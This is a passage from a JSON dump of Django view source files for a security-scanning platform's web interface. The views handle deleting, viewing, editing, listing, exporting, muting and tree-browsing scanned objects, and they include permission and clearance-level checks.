    "content": "from datetime import datetime, timezone\n\nfrom account.mixins import OrganizationPermissionRequiredMixin\nfrom django.http import HttpResponseRedirect\nfrom django.urls import reverse_lazy\nfrom django.utils.translation import gettext_lazy as _\nfrom django.views.generic import TemplateView\nfrom tools.view_helpers import get_ooi_url\n\nfrom rocky.views.mixins import SingleOOIMixin\n\n\nclass OOIDeleteView(OrganizationPermissionRequiredMixin, SingleOOIMixin, TemplateView):\n    template_name = \"oois/ooi_delete.html\"\n    permission_required = \"tools.can_delete_oois\"\n\n    def setup(self, request, *args, **kwargs):\n        super().setup(request, *args, **kwargs)\n        self.ooi = self.get_ooi()\n\n    def delete(self, request):\n        self.octopoes_api_connector.delete(self.ooi.reference, valid_time=datetime.now(timezone.utc), sync=True)\n        return HttpResponseRedirect(self.get_success_url())\n\n    # Add support for browsers which only accept GET and POST for now.\n    def post(self, request, **kwargs):\n        return self.delete(request)\n\n    def get_success_url(self):\n        return reverse_lazy(\"ooi_list\", kwargs={\"organization_code\": self.organization.code})\n\n    def get_context_data(self, **kwargs):\n        context = super().get_context_data(**kwargs)\n\n        # Construct breadcrumbs\n        breadcrumb_list = self.get_breadcrumb_list()\n        breadcrumb_list.append(\n            {\n                \"url\": get_ooi_url(\"ooi_delete\", self.ooi.primary_key, organization_code=self.organization.code),\n                \"text\": _(\"Delete\"),\n            }\n        )\n\n        context[\"ooi\"] = self.ooi\n        context[\"props\"] = self.ooi.model_dump()\n        context[\"breadcrumbs\"] = breadcrumb_list\n\n        return context\n"
  },
  {
    "path": "rocky/rocky/views/ooi_detail.py",
    "content": "import json\nfrom collections import defaultdict\n\nfrom django.contrib import messages\nfrom django.utils.translation import gettext_lazy as _\nfrom jsonschema.validators import Draft202012Validator\nfrom katalogus.client import Boefje, KATalogusError\nfrom reports.report_types.helpers import get_report_types_for_ooi\nfrom tools.forms.ooi import PossibleBoefjesFilterForm\nfrom tools.forms.scheduler import OOIDetailTaskFilterForm\nfrom tools.ooi_helpers import format_display\n\nfrom octopoes.models import Reference\nfrom octopoes.models.ooi.question import Question\nfrom rocky.views.ooi_detail_related_object import OOIFindingManager, OOIRelatedObjectManager\nfrom rocky.views.ooi_view import BaseOOIDetailView\nfrom rocky.views.tasks import OOIDetailTaskListView\n\n\nclass OOIDetailView(BaseOOIDetailView, OOIRelatedObjectManager, OOIFindingManager, OOIDetailTaskListView):\n    template_name = \"oois/ooi_detail.html\"\n    task_filter_form = OOIDetailTaskFilterForm\n    task_type = \"boefje\"\n\n    def post(self, request, *args, **kwargs):\n        if self.action == self.CHANGE_CLEARANCE_LEVEL:\n            self.set_clearance_level()\n        elif self.action == self.SUBMIT_ANSWER:\n            self.answer_ooi_questions()\n        elif self.action == self.START_SCAN:\n            self.start_boefje_scan()\n        return super().post(request, *args, **kwargs)\n\n    def set_clearance_level(self) -> None:\n        if not self.indemnification_present:\n            self.indemnification_error()\n            return\n        try:\n            clearance_level = int(self.request.POST[\"level\"])\n            self.can_raise_clearance_level(self.ooi, clearance_level)  # returns appropriate messages\n        except (ValueError, KeyError):\n            messages.error(\n                self.request, _(\"Cannot set clearance level. It must be provided and must be a valid number.\")\n            )\n\n    def answer_ooi_questions(self) -> None:\n        if not isinstance(self.ooi, Question):\n            messages.error(self.request, _(\"Only Question OOIs can be answered.\"))\n            return\n\n        schema_answer = self.request.POST.get(\"schema\", \"\")\n        parsed_schema_answer = json.loads(schema_answer)\n        validator = Draft202012Validator(json.loads(self.ooi.json_schema))\n\n        if not validator.is_valid(parsed_schema_answer):\n            for error in validator.iter_errors(parsed_schema_answer):\n                messages.error(self.request, error.message)\n            return\n\n        raw = json.dumps(\n            {\"schema\": self.ooi.schema_id, \"answer\": parsed_schema_answer, \"answer_ooi\": self.ooi.ooi}\n        ).encode()\n        self.bytes_client.upload_raw(raw, {\"answer\"}, self.ooi.primary_key)\n        messages.success(self.request, _(\"Question has been answered.\"))\n\n    def start_boefje_scan(self) -> None:\n        boefje_id = self.request.POST.get(\"boefje_id\")\n        boefje = self.katalogus_client.get_plugin(boefje_id)\n        ooi_id = self.request.GET.get(\"ooi_id\")\n        ooi = self.get_single_ooi(pk=ooi_id)\n        self.run_boefje(boefje, ooi)\n\n    def get_boefjes_filter_form(self):\n        return PossibleBoefjesFilterForm(self.request.GET)\n\n    def get_boefjes_for_ooi(self, boefjes: list[Boefje]) -> list[Boefje]:\n        return [\n            boefje\n            for boefje in boefjes\n            if boefje.enabled\n            and self.ooi.__class__ in boefje.consumes\n            and self.ooi.scan_profile is not None\n            and self.ooi.scan_profile.level >= boefje.scan_level.value\n        ]\n\n    def get_boefjes_exceeding_ooi_clearance_level(self, boefjes: list[Boefje]) -> list[Boefje]:\n        \"\"\"Get Boefjes that exceeds OOI clearance level\"\"\"\n\n        return [\n            boefje\n            for boefje in boefjes\n            if boefje\n            and boefje.enabled\n            and self.ooi.__class__ in boefje.consumes\n            and self.ooi.scan_profile is not None\n            and boefje.scan_level.value > self.ooi.scan_profile.level\n        ]\n\n    def get_context_data(self, **kwargs):\n        context = super().get_context_data(**kwargs)\n\n        context[\"ooi\"] = self.ooi\n\n        try:\n            enabled_boefjes = self.katalogus_client.get_enabled_boefjes()\n        except KATalogusError:\n            messages.error(self.request, \"Could not get enabled boefjes from KATalogus, request failed\")\n            enabled_boefjes = []\n        ooi_boefjes = self.get_boefjes_for_ooi(enabled_boefjes)\n\n        filter_form = self.get_boefjes_filter_form()\n\n        # When a user wants to view boefjes that can't scan ooi, because the ooi does not have enough clearance level.\n        if self.ooi.scan_profile and filter_form.is_valid() and filter_form.cleaned_data[\"show_all\"]:\n            exceeding_boefjes = self.get_boefjes_exceeding_ooi_clearance_level(enabled_boefjes)\n\n            context[\"boefjes\"] = ooi_boefjes + exceeding_boefjes\n        else:\n            context[\"boefjes\"] = ooi_boefjes\n\n        context.update(self.get_origins(self.ooi.reference))\n        if context[\"inferences\"]:\n            inference_params = self.octopoes_api_connector.list_origin_parameters(\n                {inference.origin.id for inference in context[\"inferences\"]}, self.observed_at\n            )\n            inference_params_per_inference = defaultdict(list)\n            for inference_param in inference_params:\n                inference_params_per_inference[inference_param.origin_id].append(inference_param)\n\n            inference_origin_params: list[tuple] = []\n            for inference in context[\"inferences\"]:\n                inference_origin_params.append((inference, inference_params_per_inference[inference.origin.id]))\n\n            context[\"inference_origin_params\"] = inference_origin_params\n        else:\n            context[\"inference_origin_params\"] = None\n\n        # TODO: generic solution to render ooi fields properly: https://github.com/minvws/nl-kat-coordination/issues/145\n        context[\"object_details\"] = format_display(self.get_ooi_properties(self.ooi), ignore=[\"json_schema\"])\n        context[\"ooi_types\"] = self.get_ooi_types_input_values(self.ooi)\n\n        context[\"is_question\"] = isinstance(self.ooi, Question)\n        if isinstance(self.ooi, Question):\n            try:\n                context[\"current_config\"] = self.get_ooi(self.ooi.config_pk).config\n            except Exception:\n                context[\"current_config\"] = None\n\n        context[\"related\"] = self.get_related_objects(self.observed_at)\n\n        context[\"count_findings_per_severity\"] = dict(self.count_findings_per_severity())\n        context[\"severity_summary_totals\"] = sum(context[\"count_findings_per_severity\"].values())\n\n        context[\"possible_boefjes_filter_form\"] = self.get_boefjes_filter_form()\n\n        context[\"possible_reports\"] = [\n            report.class_attributes() for report in get_report_types_for_ooi(self.ooi.primary_key)\n        ]\n\n        if self.request.GET.get(\"show_clearance_level_inheritance\"):\n            clearance_level_inheritance = self.get_scan_profile_inheritance(self.ooi)\n            formatted_inheritance = [\n                {\n                    \"object_type\": Reference.from_str(section.reference).class_,\n                    \"primary_key\": section.reference,\n                    \"human_readable\": Reference.from_str(section.reference).human_readable,\n                    \"level\": section.level,\n                }\n                for section in clearance_level_inheritance\n            ]\n            context[\"clearance_level_inheritance\"] = formatted_inheritance\n        return context\n"
  },
  {
    "path": "rocky/rocky/views/ooi_detail_related_object.py",
    "content": "from collections import Counter\n\nfrom django.shortcuts import redirect\nfrom django.urls import reverse\nfrom django.utils.translation import gettext_lazy as _\nfrom django.views.generic.base import TemplateView\nfrom tools.ooi_helpers import format_attr_name\nfrom tools.view_helpers import existing_ooi_type, get_mandatory_fields, url_with_querystring\n\nfrom octopoes.models import OOI\nfrom octopoes.models.ooi.findings import Finding, FindingType, RiskLevelSeverity\nfrom octopoes.models.types import OOI_TYPES, get_relations, to_concrete\nfrom rocky.views.mixins import SingleOOITreeMixin\n\n\nclass OOIRelatedObjectManager(SingleOOITreeMixin):\n    def get_related_objects(self, observed_at):\n        related = []\n        for relation_name, children in self.tree.root.children.items():\n            for child in children:\n                if child.reference == self.tree.root.reference:\n                    continue\n                rel_name = format_attr_name(relation_name)\n                if rel_name.lower() != \"findings\":\n                    rel = {\n                        \"name\": rel_name,\n                        \"reference\": child.reference,\n                        \"mandatory_fields\": get_mandatory_fields(self.request, params=[\"observed_at\"]),\n                    }\n                    related.append(rel)\n        return related\n\n    def ooi_add_url(self, ooi: OOI, ooi_type: str, ooi_relation: str = \"ooi_id\") -> str:\n        \"\"\"\n        When a user wants to add an OOI TYPE to another OOI TYPE object, it will\n        return the URL to the corresponding add object form with corresponding get parameters\n        \"\"\"\n\n        path = reverse(\"ooi_add\", kwargs={\"organization_code\": self.organization.code, \"ooi_type\": ooi_type})\n        query_params = {ooi_relation: ooi.primary_key}\n\n        if ooi_type == \"Finding\":\n            path = reverse(\"finding_add\")\n\n        if not ooi_relation:\n            query_params = {\"ooi_id\": ooi.primary_key}\n\n        return url_with_querystring(path, **query_params)\n\n    def get_datamodel(self) -> dict[str, dict[str, set[type[OOI]]]]:\n        datamodel = {}\n        for ooi_name, ooi_ in OOI_TYPES.items():\n            datamodel[ooi_name] = {\n                property_name: to_concrete({ooi_type}) for property_name, ooi_type in get_relations(ooi_).items()\n            }\n        return datamodel\n\n    def get_foreign_relations(self, ooi_class: type[OOI]) -> list[tuple[str, str]]:\n        datamodel = self.get_datamodel()\n\n        ret = []\n        for foreign_ooi_class_name, foreign_relations in datamodel.items():\n            for attr_name, related_ooi_types in foreign_relations.items():\n                if ooi_class in related_ooi_types:\n                    ret.append((foreign_ooi_class_name, attr_name))\n        return ret\n\n    def get_ooi_types_input_values(self, ooi: OOI) -> list[dict[str, str]]:\n        # to populate the \"add object\" dropdown with related OOI's\n        if isinstance(ooi, Finding | FindingType):\n            return []\n\n        foreign_relations = self.get_foreign_relations(ooi.__class__)\n\n        input_values = []\n        for ooi_type, relation in foreign_relations:\n            if ooi_type == \"Finding\":\n                continue\n            ooi_suffix = _(\" (as \" + format_attr_name(relation) + \")\")\n            text = f\"{ooi_type}\" + ooi_suffix\n            value = f\"{ooi_type}|{relation}\"\n            if relation == \"ooi\":\n                text = ooi_type\n\n            input_values.append({\"text\": text, \"value\": value})\n\n        return input_values\n\n\nclass OOIFindingManager(SingleOOITreeMixin):\n    def get_findings(self) -> list[Finding]:\n        findings = []\n        for relation in self.tree.root.children.values():\n            for child in relation:\n                ooi = self.tree.store[str(child.reference)]\n                if isinstance(ooi, Finding) and ooi.reference != self.tree.root.reference:\n                    findings.append(ooi)\n        return findings\n\n    def count_findings_per_severity(self) -> Counter:\n        counter = Counter({severity: 0 for severity in RiskLevelSeverity})\n        for finding in self.get_findings():\n            finding_type: FindingType | None = self.tree.store.get(str(finding.finding_type), None)\n            if finding_type is not None and finding_type.risk_severity is not None:\n                counter.update([finding_type.risk_severity])\n            else:\n                counter.update([RiskLevelSeverity.UNKNOWN])\n        return counter\n\n    def get_finding_details_sorted_by_score_desc(self) -> list[tuple[Finding, FindingType]]:\n        finding_details = self.get_finding_details()\n        return list(sorted(finding_details, key=lambda x: x[1].risk_score or 0, reverse=True))\n\n    def get_finding_details(self) -> list[tuple[Finding, FindingType]]:\n        return [(finding, self.tree.store[str(finding.finding_type)]) for finding in self.get_findings()]\n\n\nclass OOIRelatedObjectAddView(OOIRelatedObjectManager, TemplateView):\n    template_name = \"oois/ooi_detail_add_related_object.html\"\n\n    def get(self, request, *args, **kwargs):\n        if \"ooi_id\" in request.GET:\n            self.ooi_id = self.get_ooi(pk=request.GET[\"ooi_id\"])\n\n        if \"add_ooi_type\" in request.GET:\n            if \"|\" in request.GET[\"add_ooi_type\"]:\n                ooi_type, ooi_relation = request.GET[\"add_ooi_type\"].split(\"|\", 1)\n            else:\n                ooi_type = request.GET[\"add_ooi_type\"]\n                ooi_relation = None\n\n            if existing_ooi_type(ooi_type):\n                if ooi_relation:\n                    return redirect(self.ooi_add_url(self.ooi_id, ooi_type, ooi_relation))\n                else:\n                    return redirect(self.ooi_add_url(self.ooi_id, ooi_type))\n\n        if \"status_code\" in kwargs:\n            response = super().get(request, *args, **kwargs)\n            response.status_code = kwargs[\"status_code\"]\n            return response\n\n        return super().get(request, *args, **kwargs)\n\n    def get_context_data(self, **kwargs):\n        context = super().get_context_data(**kwargs)\n        context[\"ooi_id\"] = self.ooi_id\n        context[\"ooi_types\"] = self.get_ooi_types_input_values(self.ooi_id)\n        return context\n"
  },
  {
    "path": "rocky/rocky/views/ooi_edit.py",
    "content": "from datetime import datetime, timezone\nfrom enum import Enum\n\nfrom django.utils.translation import gettext_lazy as _\nfrom tools.view_helpers import get_ooi_url\n\nfrom rocky.views.ooi_view import BaseOOIFormView\nfrom rocky.views.scheduler import SchedulerView\n\n\nclass OOIEditView(BaseOOIFormView, SchedulerView):\n    template_name = \"oois/ooi_edit.html\"\n    task_type = \"report\"\n\n    def setup(self, request, *args, **kwargs):\n        super().setup(request, *args, **kwargs)\n        self.ooi = self.get_ooi()\n        self.ooi_class = self.get_ooi_class()\n\n    def get_initial(self):\n        initial = super().get_initial()\n\n        for attr, value in self.ooi:\n            if isinstance(value, list):\n                initial[attr] = [str(x) for x in value]\n            elif isinstance(value, Enum):\n                initial[attr] = value.value\n            elif isinstance(value, dict):\n                # Config OOIs use dicts for their values\n                initial[attr] = value\n            else:\n                initial[attr] = str(value) if value is not None else None\n\n        return initial\n\n    def get_form_kwargs(self):\n        kwargs = super().get_form_kwargs()\n        kwargs[\"user_id\"] = self.request.user.id\n\n        return kwargs\n\n    def form_valid(self, form):\n        form_data = form.cleaned_data\n        report_recipe_id = form_data.get(\"recipe_id\")\n        cron_expression = form_data.get(\"cron_expression\")\n\n        # If the cron_expression of the ReportRecipe is changed, the scheduler must also be updated\n        if report_recipe_id and cron_expression:\n            deadline_at = datetime.now(timezone.utc).isoformat()\n            filters = {\n                \"filters\": [\n                    {\"column\": \"data\", \"field\": \"report_recipe_id\", \"operator\": \"eq\", \"value\": report_recipe_id}\n                ]\n            }\n            schedule = self.get_schedule_with_filters(filters)\n            if schedule:\n                self.edit_report_schedule(str(schedule.id), {\"schedule\": cron_expression, \"deadline_at\": deadline_at})\n\n        return super().form_valid(form)\n\n    def get_context_data(self, **kwargs):\n        context = super().get_context_data(**kwargs)\n\n        # Construct breadcrumbs\n        breadcrumb_list = self.get_breadcrumb_list()\n        breadcrumb_list.append(\n            {\"url\": get_ooi_url(\"ooi_edit\", self.ooi.primary_key, self.organization.code), \"text\": _(\"Edit\")}\n        )\n\n        context[\"type\"] = self.ooi_class.get_ooi_type()\n        context[\"ooi_human_readable\"] = self.ooi.human_readable\n        context[\"breadcrumbs\"] = breadcrumb_list\n\n        return context\n"
  },
  {
    "path": "rocky/rocky/views/ooi_findings.py",
    "content": "from django.utils.translation import gettext_lazy as _\nfrom django.views.generic import TemplateView\nfrom tools.forms.base import ObservedAtForm\nfrom tools.view_helpers import Breadcrumb, get_ooi_url\n\nfrom rocky.views.ooi_detail_related_object import OOIFindingManager\nfrom rocky.views.ooi_view import BaseOOIDetailView\n\n\nclass OOIFindingListView(OOIFindingManager, BaseOOIDetailView, TemplateView):\n    template_name = \"oois/ooi_findings.html\"\n    connector_form_class = ObservedAtForm\n\n    def build_breadcrumbs(self) -> list[Breadcrumb]:\n        breadcrumbs = super().build_breadcrumbs()\n        breadcrumbs.append(self.get_last_breadcrumb())\n        return breadcrumbs\n\n    def get_last_breadcrumb(self) -> Breadcrumb:\n        return {\n            \"url\": get_ooi_url(\"ooi_findings\", self.ooi.primary_key, self.organization.code),\n            \"text\": _(\"Object findings\"),\n        }\n\n    def get_context_data(self, **kwargs):\n        context = super().get_context_data(**kwargs)\n        context[\"findings\"] = self.get_finding_details_sorted_by_score_desc()\n        context[\"breadcrumbs\"] = self.build_breadcrumbs()\n        return context\n"
  },
  {
    "path": "rocky/rocky/views/ooi_list.py",
    "content": "import csv\nimport json\nfrom datetime import datetime, timezone\nfrom enum import Enum\nfrom typing import Any\n\nfrom crisis_room.forms import AddObjectListDashboardItemForm\nfrom django.contrib import messages\nfrom django.http import Http404, HttpRequest, HttpResponse\nfrom django.shortcuts import redirect\nfrom django.urls import reverse, reverse_lazy\nfrom django.utils.translation import gettext as _\nfrom django.utils.translation import gettext_lazy\nfrom httpx import HTTPError\nfrom tools.enums import CUSTOM_SCAN_LEVEL, SCAN_LEVEL\nfrom tools.forms.ooi import SetClearanceLevelForm\nfrom tools.forms.ooi_form import OOISearchForm, OOITypeMultiCheckboxForm\nfrom tools.models import Indemnification\nfrom tools.view_helpers import get_mandatory_fields\n\nfrom octopoes.connector import RemoteException\nfrom octopoes.models import EmptyScanProfile, Reference, ScanProfileType\nfrom octopoes.models.exception import ObjectNotFoundException\nfrom rocky.exceptions import (\n    AcknowledgedClearanceLevelTooLowException,\n    IndemnificationNotPresentException,\n    TrustedClearanceLevelTooLowException,\n)\nfrom rocky.views.mixins import AddDashboardItemFormMixin, OctopoesView, OOIList\nfrom rocky.views.ooi_view import BaseOOIListView\n\n\nclass PageActions(Enum):\n    DELETE = \"delete\"\n    UPDATE_SCAN_PROFILE = \"update-scan-profile\"\n    ADD_TO_DASHBOARD = \"add_to_dashboard\"\n\n\nclass OOIListView(BaseOOIListView, OctopoesView, AddDashboardItemFormMixin):\n    breadcrumbs = [{\"url\": reverse_lazy(\"ooi_list\"), \"text\": gettext_lazy(\"Objects\")}]\n    template_name = \"oois/ooi_list.html\"\n    add_dashboard_item_form = AddObjectListDashboardItemForm\n\n    def get_context_data(self, **kwargs):\n        context = super().get_context_data(**kwargs)\n\n        context[\"ooi_type_form\"] = OOITypeMultiCheckboxForm(self.request.GET)\n        context[\"ooi_search_form\"] = OOISearchForm(self.request.GET)\n        context[\"edit_clearance_level_form\"] = SetClearanceLevelForm\n        context[\"mandatory_fields\"] = get_mandatory_fields(self.request, params=[\"observed_at\"])\n        context[\"member\"] = self.organization_member\n        context[\"scan_levels\"] = [alias for _, alias in CUSTOM_SCAN_LEVEL.choices]\n        context[\"organization_indemnification\"] = self.get_organization_indemnification\n        context[\"breadcrumbs\"] = [\n            {\"url\": reverse(\"ooi_list\", kwargs={\"organization_code\": self.organization.code}), \"text\": _(\"Objects\")}\n        ]\n\n        return context\n\n    def get(self, request: HttpRequest, *args: Any, status: int = 200, **kwargs: Any) -> HttpResponse:\n        \"\"\"Override the response status in case submitting a form returns an error message\"\"\"\n        response = super().get(request, *args, **kwargs)\n        response.status_code = status\n\n        return response\n\n    def post(self, request: HttpRequest, *args: Any, **kwargs: Any) -> HttpResponse:\n        \"\"\"Perform bulk action on selected oois.\"\"\"\n        selected_oois = request.POST.getlist(\"ooi\")\n        action = request.POST.get(\"action\")\n\n        if not selected_oois and action != PageActions.ADD_TO_DASHBOARD.value:\n            messages.add_message(request, messages.ERROR, _(\"No OOIs selected.\"))\n            return self.get(request, status=422, *args, **kwargs)\n\n        if action == PageActions.DELETE.value:\n            return self._delete_oois(selected_oois, request, *args, **kwargs)\n\n        if action == PageActions.UPDATE_SCAN_PROFILE.value:\n            scan_type = request.POST.get(\"clearance_type\")\n            # Mypy doesn't understand that CUSTOM_SCAN_LEVEL is an enum without\n            # the Django type hints\n            if scan_type == ScanProfileType.INHERITED.value:\n                return self._set_oois_to_inherit(selected_oois, request, *args, **kwargs)\n            level = int(request.POST[\"level\"])\n            level = SCAN_LEVEL(level)\n            return self._set_scan_profiles(selected_oois, level, request, *args, **kwargs)\n\n        if action == PageActions.ADD_TO_DASHBOARD.value:\n            return self.add_to_dashboard()\n\n        messages.add_message(request, messages.ERROR, _(\"Unknown action.\"))\n        return self.get(request, status=404, *args, **kwargs)\n\n    def _set_scan_profiles(\n        self, selected_oois: list[str], level: CUSTOM_SCAN_LEVEL, request: HttpRequest, *args: Any, **kwargs: Any\n    ) -> HttpResponse:\n        try:\n            self.raise_clearance_levels([Reference.from_str(ooi) for ooi in selected_oois], level.value)\n        except IndemnificationNotPresentException:\n            messages.add_message(\n                self.request,\n                messages.ERROR,\n                _(\"Could not raise clearance levels to L%s. Indemnification not present at organization %s.\")\n                % (level.value, self.organization.name),\n            )\n            return self.get(request, status=403, *args, **kwargs)\n        except TrustedClearanceLevelTooLowException:\n            messages.add_message(\n                self.request,\n                messages.ERROR,\n                _(\n                    \"Could not raise clearance level to L%s. \"\n                    \"You were trusted a clearance level of L%s. \"\n                    \"Contact your administrator to receive a higher clearance.\"\n                )\n                % (level.value, self.organization_member.max_clearance_level),\n            )\n            return self.get(request, status=403, *args, **kwargs)\n        except AcknowledgedClearanceLevelTooLowException:\n            messages.add_message(\n                self.request,\n                messages.ERROR,\n                _(\n                    \"Could not raise clearance level to L%s. \"\n                    \"You acknowledged a clearance level of L%s. \"\n                    \"Please accept the clearance level below to proceed.\"\n                )\n                % (level.value, self.organization_member.acknowledged_clearance_level),\n            )\n            return redirect(reverse(\"account_detail\", kwargs={\"organization_code\": self.organization.code}))\n\n        except (HTTPError, RemoteException, ConnectionError):\n            messages.add_message(request, messages.ERROR, _(\"An error occurred while saving clearance levels.\"))\n\n            return self.get(request, status=500, *args, **kwargs)\n        except ObjectNotFoundException:\n            messages.add_message(\n                request,\n                messages.ERROR,\n                _(\"An error occurred while saving clearance levels.\") + _(\"One of the OOI's doesn't exist\"),\n            )\n            return self.get(request, status=404, *args, **kwargs)\n\n        messages.add_message(\n            request,\n            messages.SUCCESS,\n            _(\"Successfully set scan profile to %s for %d OOIs.\") % (level.name, len(selected_oois)),\n        )\n        return redirect(reverse(\"ooi_list\", kwargs={\"organization_code\": self.organization.code}))\n\n    def _set_oois_to_inherit(\n        self, selected_oois: list[str], request: HttpRequest, *args: Any, **kwargs: Any\n    ) -> HttpResponse:\n        scan_profiles = [EmptyScanProfile(reference=Reference.from_str(ooi)) for ooi in selected_oois]\n\n        try:\n            self.octopoes_api_connector.save_many_scan_profiles(scan_profiles, valid_time=datetime.now(timezone.utc))\n        except (HTTPError, RemoteException, ConnectionError):\n            messages.add_message(\n                request, messages.ERROR, _(\"An error occurred while setting clearance levels to inherit.\")\n            )\n            return self.get(request, status=500, *args, **kwargs)\n        except ObjectNotFoundException:\n            messages.add_message(\n                request,\n                messages.ERROR,\n                _(\"An error occurred while setting clearance levels to inherit: one of the OOIs doesn't exist.\"),\n            )\n            return self.get(request, status=404, *args, **kwargs)\n\n        messages.add_message(\n            request, messages.SUCCESS, _(\"Successfully set %d OOI(s) clearance level to inherit.\") % len(selected_oois)\n        )\n        return redirect(reverse(\"ooi_list\", kwargs={\"organization_code\": self.organization.code}))\n\n    def _delete_oois(self, selected_oois: list[str], request: HttpRequest, *args: Any, **kwargs: Any) -> HttpResponse:\n        connector = self.octopoes_api_connector\n        valid_time = datetime.now(timezone.utc)\n\n        try:\n            connector.delete_many([Reference.from_str(ooi) for ooi in selected_oois], valid_time)\n        except (HTTPError, RemoteException, ConnectionError):\n            messages.add_message(request, messages.ERROR, _(\"An error occurred while deleting oois.\"))\n            return self.get(request, status=500, *args, **kwargs)\n        except ObjectNotFoundException:\n            messages.add_message(\n                request, messages.ERROR, _(\"An error occurred while deleting OOIs: one of the OOIs doesn't exist.\")\n            )\n            return self.get(request, status=404, *args, **kwargs)\n\n        messages.add_message(\n            request,\n            messages.SUCCESS,\n            _(\"Successfully deleted %d ooi(s). Note: Bits can recreate objects automatically.\") % len(selected_oois),\n        )\n\n        return redirect(reverse(\"ooi_list\", kwargs={\"organization_code\": self.organization.code}))\n\n    def get_organization_indemnification(self):\n        return Indemnification.objects.filter(organization=self.organization).exists()\n\n\nclass OOIListExportView(BaseOOIListView):\n    def get(self, request, *args, **kwargs):\n        file_type = request.GET.get(\"file_type\")\n        filters = self.get_active_filters()\n\n        queryset = self.get_queryset()\n        ooi_list = queryset[: OOIList.HARD_LIMIT]\n\n        exports = [{\"observed_at\": str(self.observed_at), \"filters\": str(filters)}]\n\n        for ooi in ooi_list:\n            exports.append({\"key\": ooi.primary_key, \"name\": ooi.human_readable, \"ooi_type\": ooi.ooi_type})\n\n        if file_type == \"json\":\n            response = HttpResponse(\n                json.dumps(exports),\n                content_type=\"application/json\",\n                headers={\"Content-Disposition\": \"attachment; filename=ooi_list_\" + str(self.observed_at) + \".json\"},\n            )\n\n            return response\n\n        elif file_type == \"csv\":\n            response = HttpResponse(\n                content_type=\"text/csv\",\n                headers={\"Content-Disposition\": \"attachment; filename=ooi_list_\" + str(self.observed_at) + \".csv\"},\n            )\n\n            writer = csv.writer(response)\n            writer.writerow([\"observed_at\", \"filters\"])\n            writer.writerow([str(self.observed_at), str(filters)])\n            writer.writerow([\"key\", \"name\", \"ooi_type\"])\n            for ooi in ooi_list:\n                writer.writerow([ooi.primary_key, ooi.human_readable, ooi.ooi_type])\n\n            return response\n\n        else:\n            raise Http404(\"Export type not found\")\n"
  },
  {
    "path": "rocky/rocky/views/ooi_mute.py",
    "content": "from datetime import datetime, timezone\n\nfrom account.mixins import OrganizationPermissionRequiredMixin\nfrom django.contrib import messages\nfrom django.shortcuts import redirect\nfrom django.urls import reverse\nfrom django.utils.translation import gettext_lazy as _\nfrom django.views.generic import FormView\nfrom tools.forms.ooi import MuteFindingForm\nfrom tools.ooi_helpers import create_oois\n\nfrom octopoes.models.ooi.findings import MutedFinding\nfrom rocky.views.mixins import SingleOOIMixin\nfrom rocky.views.ooi_view import BaseOOIDetailView\n\n\nclass MuteFindingView(OrganizationPermissionRequiredMixin, BaseOOIDetailView, FormView):\n    template_name = \"oois/ooi_mute_finding.html\"\n    form_class = MuteFindingForm\n    permission_required = \"tools.can_mute_findings\"\n    depth = 1\n\n    def get_initial(self):\n        initial = super().get_initial()\n        initial[\"finding\"] = self.ooi.reference\n        initial[\"ooi_type\"] = MutedFinding.get_object_type()\n\n        return initial\n\n    def get_context_data(self, **kwargs):\n        context = super().get_context_data(**kwargs)\n        context[\"ooi_type\"] = MutedFinding.get_object_type()\n\n        return context\n\n\nclass MuteFindingsBulkView(OrganizationPermissionRequiredMixin, SingleOOIMixin):\n    ooi_class = MutedFinding\n    permission_required = \"tools.can_mute_findings\"\n\n    def post(self, request, *args, **kwargs):\n        unmute = request.POST.get(\"unmute\", None)\n        selected_findings = request.POST.getlist(\"finding\", None)\n        reason = request.POST.get(\"reason\", None)\n        end_valid_time = request.POST.get(\"end_valid_time\", None)\n        if end_valid_time:\n            end_valid_time = datetime.strptime(end_valid_time, \"%Y-%m-%dT%H:%M\").replace(tzinfo=timezone.utc)\n        else:\n            end_valid_time = None\n\n        if not selected_findings:\n            messages.add_message(self.request, messages.WARNING, _(\"Please select at least one finding.\"))\n            return redirect(reverse(\"finding_list\", kwargs={\"organization_code\": self.organization.code}))\n        if unmute:\n            mutes_finding_refs = [MutedFinding(finding=finding).reference for finding in selected_findings]\n            self.octopoes_api_connector.delete_many(mutes_finding_refs, datetime.now(timezone.utc))\n\n            messages.add_message(self.request, messages.SUCCESS, _(\"Finding(s) successfully unmuted.\"))\n            return redirect(reverse(\"finding_list\", kwargs={\"organization_code\": self.organization.code}))\n        else:\n            oois = [\n                self.ooi_class.model_validate({\"finding\": finding, \"reason\": reason}) for finding in selected_findings\n            ]\n\n            create_oois(\n                self.octopoes_api_connector, self.bytes_client, oois, datetime.now(timezone.utc), end_valid_time\n            )\n\n            messages.add_message(self.request, messages.SUCCESS, _(\"Finding(s) successfully muted.\"))\n            return redirect(reverse(\"finding_list\", kwargs={\"organization_code\": self.organization.code}))\n"
  },
  {
    "path": "rocky/rocky/views/ooi_tree.py",
    "content": "from django.utils.translation import gettext_lazy as _\nfrom django.views.generic import TemplateView\nfrom tools.forms.ooi import OoiTreeSettingsForm\nfrom tools.ooi_helpers import create_object_tree_item_from_ref, filter_ooi_tree, get_ooi_types_from_tree\nfrom tools.view_helpers import Breadcrumb, get_ooi_url\n\nfrom rocky.views.ooi_view import BaseOOIDetailView\n\n\nclass OOITreeView(BaseOOIDetailView, TemplateView):\n    template_name = \"oois/ooi_tree.html\"\n    connector_form_class = OoiTreeSettingsForm\n\n    def __init__(self):\n        super().__init__()\n        self._tree_dict = None\n\n    def get_tree_dict(self):\n        if self._tree_dict is None:\n            tree = self.get_ooi_tree(with_scan_profiles=False, types=self.request.GET.getlist(\"ooi_type\", None))\n            self._tree_dict = create_object_tree_item_from_ref(tree.root, tree.store)\n\n        return self._tree_dict\n\n    def get_filtered_tree(self, tree_dict: dict) -> dict:\n        filtered_types = self.request.GET.getlist(\"ooi_type\", [])\n        return filter_ooi_tree(tree_dict, filtered_types)\n\n    def count_active_filters(self):\n        count_depth_filter = len(self.request.GET.getlist(\"depth\", []))\n        count_ooi_type_filter = len(self.request.GET.getlist(\"ooi_type\", []))\n        return self.count_observed_at_filter() + count_depth_filter + count_ooi_type_filter\n\n    def get_connector_form_kwargs(self):\n        kwargs = super().get_connector_form_kwargs()\n\n        tree_dict = self.get_tree_dict()\n        ooi_types = get_ooi_types_from_tree(tree_dict, True)\n        kwargs.update({\"ooi_types\": ooi_types})\n\n        return kwargs\n\n    def build_breadcrumbs(self) -> list[Breadcrumb]:\n        breadcrumbs = super().build_breadcrumbs()\n        breadcrumbs.append(self.get_last_breadcrumb())\n        return breadcrumbs\n\n    def get_last_breadcrumb(self):\n        return {\n            \"url\": 